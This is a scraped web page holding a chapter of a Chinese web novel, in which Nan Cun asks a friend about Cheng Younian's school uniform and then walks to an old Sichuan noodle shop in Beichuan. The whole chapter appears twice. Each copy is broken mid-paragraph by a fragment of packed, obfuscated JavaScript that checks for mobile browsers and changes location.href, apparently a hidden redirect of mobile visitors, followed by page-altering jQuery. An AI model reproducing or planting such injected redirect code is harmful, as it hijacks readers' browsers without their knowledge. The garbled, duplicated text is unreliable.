普鲁斯特效应九月草莓
7. 2025-阴
小
大
2025年，6月17日，2:07pm，北川，阴。
南存靠在躺椅里，腿上静静地摊着一个速写本。
他手里夹着一根木头铅笔，却没有下笔。
而是抬眸望着窗外浅灰色的天光，思绪似乎也随风飘到了云层之上。
记忆里，北川的夏季永远是晴朗的、滚烫的。
可，也不知是不是自己的问题。
他从南江这个阴雨连绵的城市赶来，除了自己和行李，居然还捎带了漫天沉重的阴云。
目光从灰白的天空缓缓下移。
米白色的速写本上，浅灰色的笔迹勾勒出一个剪影。
是少年穿着短袖校服、干净清瘦的姿态。
程宥年。
南存不知为什么总是想起这个名字。
就像他不知道，为什么另一个人的校服会出现在自己家里。
隐隐约约想起，程宥年似乎和蒋小芸相识。
怔坐片刻，南存把速写本放到一边，从口袋里摸出手机，拨通了蒋小芸的电话。
“喂？怎么啦阿存？”
“没什么，就是……”
有那么一瞬间，南存突然有些茫然。
他不知道该如何开口。
短暂的迟疑被蒋小芸察觉，蒋小芸轻笑一声：
“怎么啦？跟我还吞吞吐吐的。”
蒋小芸的轻松多少给了南存一点点安心。
于是，他垂了垂眼，问：
“你，认识一个叫程宥年的人吗？”
这句话说完，电话内外顿时染上同样的寂静。
好像过了许久，又好像只隔了短短几次吐息。
蒋小芸再次开口，语气似乎和刚才别无二致：
“怎，怎么突然问这个了？遇见什么人了吗？”
“没，记得昨天我和你说过的那件旧校服吗？”
“嗯？”
“上面写着程宥年的名字。”
“……”
“我隐约记得他好像是你的朋友？但我不清楚他的校服为什么会出现在我家里。”
“……哦，这样啊。你忘了吗，程宥年是我邻居啦，发小，从小一起长大的。”
蒋小芸的语气一贯带着笑意，但不知是不是南存的错觉，他总觉得蒋小芸有点紧绷：
“可能是我哪次借他校服穿，结果跟你的弄混了吧，居然阴差阳错混了这么多年……没事，你介意的话有空把它带给我就行，我去还给他。”
“没关系，不是大事。”
南存微微用力，铅笔尾部坚硬的边角抵在纸张之上，留下一个小小的凹痕。
又随着南存的动作一路下滑，在纸页上留下一道歪歪扭扭的印记。
就像这张白纸，南存的心里似乎也有某一块轻微凹陷。
他下意识想问更多有关这个名字的事，想问自己连着两天的、有关往事的梦境，可临了又不知该如何开口。
他挂断了电话。
少年的剪影还停在白纸上，南存与它对视片刻，合上话本，起身换衣服走出了家门。
他许久没有走过北川的街道了。
家在北川的老街区，附近的环境很安逸，老旧楼房连成片，道路两侧的树高大到像是要将枝叶舒展去天际。
路边的苍蝇馆子从早到晚都热闹，三轮车小摊冒着不健康但很香的油烟味。
35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099212|163763||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>大爷摇着蒲扇围在树下下棋，婆婆坐在马扎上编茉莉花手环，脚边的纸牌写着两块钱一串。
南存行在人间烟火味间，拐过路口，看见一家很热闹的餐馆，桌椅从店内摆到了店外。
明明不是饭点，这家店的生意还那么好，一眼望去，连一张空桌都难以找到。
南存抬眼看看这家店的招牌。
[老街川菜]
从南存很小很小的时候，这家店就开在这里。
过去这么多年，居然还是记忆中的模样。
南存中午没吃饭，现在闻到饭菜的香味，才觉出点饿来。
他点了一碗招牌豌杂面。
面是老板亲自上的。
老板是个留着光头的中年男人，面相有点凶，但性格其实很温和。
“来喽，豌杂面，客官慢点吃哈。”
“谢谢。”南存轻声道谢，抬眼对上老板的视线。
老板看见他，却似有一瞬的怔愣。
不过那也只是一瞬间的情绪，很快，那边有客人喊结账。
老板应了一声，走出两步，又回头看了南存一眼，才匆匆离开。
南存看看他，片刻，收回视线，垂眸望着碗里打着漂的红油。
辛辣的味道和街上的油烟味混在一起。
身周的客人说笑着，到处都喧闹。
偶尔路边行过一辆自行车，拨动的车铃清脆，穿透一切，落在耳里。
“新鲜出炉的粑粑——”
蒸笼掀开，浓郁的米香味随风而来。
略一恍神，南存的筷子脱了手。
筷尖挑起几滴红油落在桌面，反出的颜色，是灰白的树影和天光。
南存靠在躺椅里，腿上静静地摊着一个速写本。
他手里夹着一根木头铅笔，却没有下笔。
而是抬眸望着窗外浅灰色的天光，思绪似乎也随风飘到了云层之上。
记忆里，北川的夏季永远是晴朗的、滚烫的。
可，也不知是不是自己的问题。
他从南江这个阴雨连绵的城市赶来，除了自己和行李，居然还捎带了漫天沉重的阴云。
目光从灰白的天空缓缓下移。
米白色的速写本上，浅灰色的笔迹勾勒出一个剪影。
是少年穿着短袖校服、干净清瘦的姿态。
程宥年。
南存不知为什么总是想起这个名字。
就像他不知道，为什么另一个人的校服会出现在自己家里。
隐隐约约想起，程宥年似乎和蒋小芸相识。
怔坐片刻，南存把速写本放到一边，从口袋里摸出手机，拨通了蒋小芸的电话。
“喂？怎么啦阿存？”
“没什么，就是……”
有那么一瞬间，南存突然有些茫然。
他不知道该如何开口。
短暂的迟疑被蒋小芸察觉，蒋小芸轻笑一声：
“怎么啦？跟我还吞吞吐吐的。”
蒋小芸的轻松多少给了南存一点点安心。
于是，他垂了垂眼，问：
“你，认识一个叫程宥年的人吗？”
这句话说完，电话内外顿时染上同样的寂静。
好像过了许久，又好像只隔了短短几次吐息。
蒋小芸再次开口，语气似乎和刚才别无二致：
“怎，怎么突然问这个了？遇见什么人了吗？”
“没，记得昨天我和你说过的那件旧校服吗？”
“嗯？”
“上面写着程宥年的名字。”
“……”
“我隐约记得他好像是你的朋友？但我不清楚他的校服为什么会出现在我家里。”
“……哦，这样啊。你忘了吗，程宥年是我邻居啦，发小，从小一起长大的。”
蒋小芸的语气一贯带着笑意，但不知是不是南存的错觉，他总觉得蒋小芸有点紧绷：
“可能是我哪次借他校服穿，结果跟你的弄混了吧，居然阴差阳错混了这么多年……没事，你介意的话有空把它带给我就行，我去还给他。”
“没关系，不是大事。”
南存微微用力，铅笔尾部坚硬的边角抵在纸张之上，留下一个小小的凹痕。
又随着南存的动作一路下滑，在纸页上留下一道歪歪扭扭的印记。
就像这张白纸，南存的心里似乎也有某一块轻微凹陷。
他下意识想问更多有关这个名字的事，想问自己连着两天的、有关往事的梦境，可临了又不知该如何开口。
他挂断了电话。
少年的剪影还停在白纸上，南存与它对视片刻，合上话本，起身换衣服走出了家门。
他许久没有走过北川的街道了。
家在北川的老街区，附近的环境很安逸，老旧楼房连成片，道路两侧的树高大到像是要将枝叶舒展去天际。
路边的苍蝇馆子从早到晚都热闹，三轮车小摊冒着不健康但很香的油烟味。
35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15099212|163763||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>大爷摇着蒲扇围在树下下棋，婆婆坐在马扎上编茉莉花手环，脚边的纸牌写着两块钱一串。
南存行在人间烟火味间，拐过路口，看见一家很热闹的餐馆，桌椅从店内摆到了店外。
明明不是饭点，这家店的生意还那么好，一眼望去，连一张空桌都难以找到。
南存抬眼看看这家店的招牌。
[老街川菜]
从南存很小很小的时候，这家店就开在这里。
过去这么多年，居然还是记忆中的模样。
南存中午没吃饭，现在闻到饭菜的香味，才觉出点饿来。
他点了一碗招牌豌杂面。
面是老板亲自上的。
老板是个留着光头的中年男人，面相有点凶，但性格其实很温和。
“来喽，豌杂面，客官慢点吃哈。”
“谢谢。”南存轻声道谢，抬眼对上老板的视线。
老板看见他，却似有一瞬的怔愣。
不过那也只是一瞬间的情绪，很快，那边有客人喊结账。
老板应了一声，走出两步，又回头看了南存一眼，才匆匆离开。
南存看看他，片刻，收回视线，垂眸望着碗里打着漂的红油。
辛辣的味道和街上的油烟味混在一起。
身周的客人说笑着，到处都喧闹。
偶尔路边行过一辆自行车，拨动的车铃清脆，穿透一切，落在耳里。
“新鲜出炉的粑粑——”
蒸笼掀开，浓郁的米香味随风而来。
略一恍神，南存的筷子脱了手。
筷尖挑起几滴红油落在桌面，反出的颜色，是灰白的树影和天光。